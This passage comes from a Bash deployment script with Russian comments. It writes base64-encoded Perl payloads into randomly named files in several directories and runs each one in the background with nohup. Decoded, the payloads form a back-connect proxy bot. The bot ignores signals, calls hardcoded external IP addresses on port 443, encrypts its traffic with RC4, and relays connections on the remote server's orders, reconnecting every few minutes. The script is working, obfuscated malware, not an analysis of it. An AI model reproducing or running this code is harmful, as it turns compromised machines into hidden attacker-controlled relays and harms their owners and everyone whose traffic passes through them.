c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #26 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #26 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 27 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #27 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #27 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 28 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj 